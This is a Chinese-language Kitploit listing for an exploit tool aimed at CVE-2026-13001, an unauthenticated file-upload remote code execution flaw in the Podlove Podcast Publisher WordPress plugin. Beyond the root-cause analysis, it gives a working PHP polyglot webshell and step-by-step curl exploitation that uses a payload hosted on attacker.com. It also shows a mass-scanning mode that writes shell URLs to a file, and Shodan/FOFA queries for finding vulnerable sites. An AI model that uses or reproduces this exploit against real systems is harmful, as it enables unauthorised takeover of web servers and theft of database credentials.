Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher 通过 is_image() 与 extract_file_extension() 不匹配导致的未授权文件上传远程代码执行 | CVSS 9.8 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-13001
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher 通过 is_image() 与 extract_file_extension() 不匹配导致的未授权文件上传远程代码执行 | CVSS 9.8

查看仓库
211个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-13001 — Podlove Podcast Publisher 未经身份验证的文件上传远程代码执行(RCE)

is_image() 与 extract_file_extension() 不匹配 → PHP 多语言文件上传


概述

CVE-2026-13001 是 Podlove Podcast Publisher WordPress 插件版本 ≤ 4.5.1 中的一个严重性(CVSS 9.8)未经身份验证的任意文件上传漏洞。

该漏洞利用了插件内部两个函数对文件扩展名解析方式的不同:

  • is_image() 使用 basename(),该函数包含查询字符串 → URL shell.php?.gif 显示为 .gif ✅(有效图片)
  • extract_file_extension() 仅使用 parse_url() 的路径部分 → 返回 .php → 文件以 .php 扩展名保存 🚨

攻击者上传 GIF89a PHP 多语言文件(有效 GIF 头部 + 嵌入的 PHP 代码),这些文件通过图片验证,但在访问时作为 PHP 执行。

受影响版本

版本状态
≤ 4.5.1存在漏洞
4.5.2+已修复

发现者: Talal Nasraddeen(通过 Wordfence,2026 年 7 月 14 日)


漏洞机制

根本原因

root@kitploit:~
// is_image() — 使用 basename(),其中包含查询字符串
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ 绕过
root@kitploit:~
// extract_file_extension() — 仅使用 parse_url() 的路径部分
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 保存为 .php

攻击流程

root@kitploit:~
1. 攻击者在 attacker.com/shell.php?.gif 托管 GIF89a PHP 多语言文件
2. GET /?podlove_image_cache_url={hex(编码后的URL)}&podlove_file_name=test
3. is_image() 验证 .gif 扩展名 → 通过
4. 插件下载文件 → 保存为 test_original.php 到 cache/ 目录
5. 攻击者访问 /wp-content/cache/podlove/{hash}/test_original.php
6. PHP 执行 → 远程代码执行

安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

用法

root@kitploit:~
# 单个目标
python cve_2026_13001.py -t target.com

# 批量扫描
python cve_2026_13001.py -f targets.txt -o shells.txt

# 自定义 Payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# 调试模式,保留 WebShell
python cve_2026_13001.py -t target.com --debug --no-cleanup

参数

root@kitploit:~
  -t, --target       单个目标(域名或 IP)
  -f, --file         目标列表,每行一个
  -o, --output       将 RCE URL 保存到文件
  --payload-url      托管 PHP 多语言文件的 URL(默认:GitHub raw)
  --threads          并发工作线程数(默认:30)
  --no-cleanup       在目标上保留 WebShell
  --debug            显示每次 HTTP 请求
  -v, --verbose      详细输出

概念验证

单个目标

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

批量扫描

root@kitploit:~
  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

手动利用

第 1 步 — 托管多语言 WebShell

root@kitploit:~
// shell.php — 保存并在你的服务器上托管
GIF89a<?php system($_GET['c']); ?>

第 2 步 — 对带绕过参数的 URL 进行十六进制编码

root@kitploit:~
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

第 3 步 — 触发缓存下载

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

第 4 步 — 访问 WebShell

root@kitploit:~
# 路径: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

影响

成功利用可获得 Web 服务器用户的远程代码执行权限:

  • 提取 wp-config.php → 数据库凭据
  • 访问所有 WordPress 内容、用户和插件数据
  • 部署持久后门
  • 横向移动到内部网络

免责声明

仅限教育和授权测试用途。

作者不对任何滥用行为承担法律责任。


参考资料


与 Podlove 无关。

下载工具
资源链接
Wordfence 安全公告wordfence.com
Podlove 安全发布podlove.org
NVD 条目CVE-2026-13001
PoC 作者 Raimu0x19GitHub
研究人员Talal Nasraddeen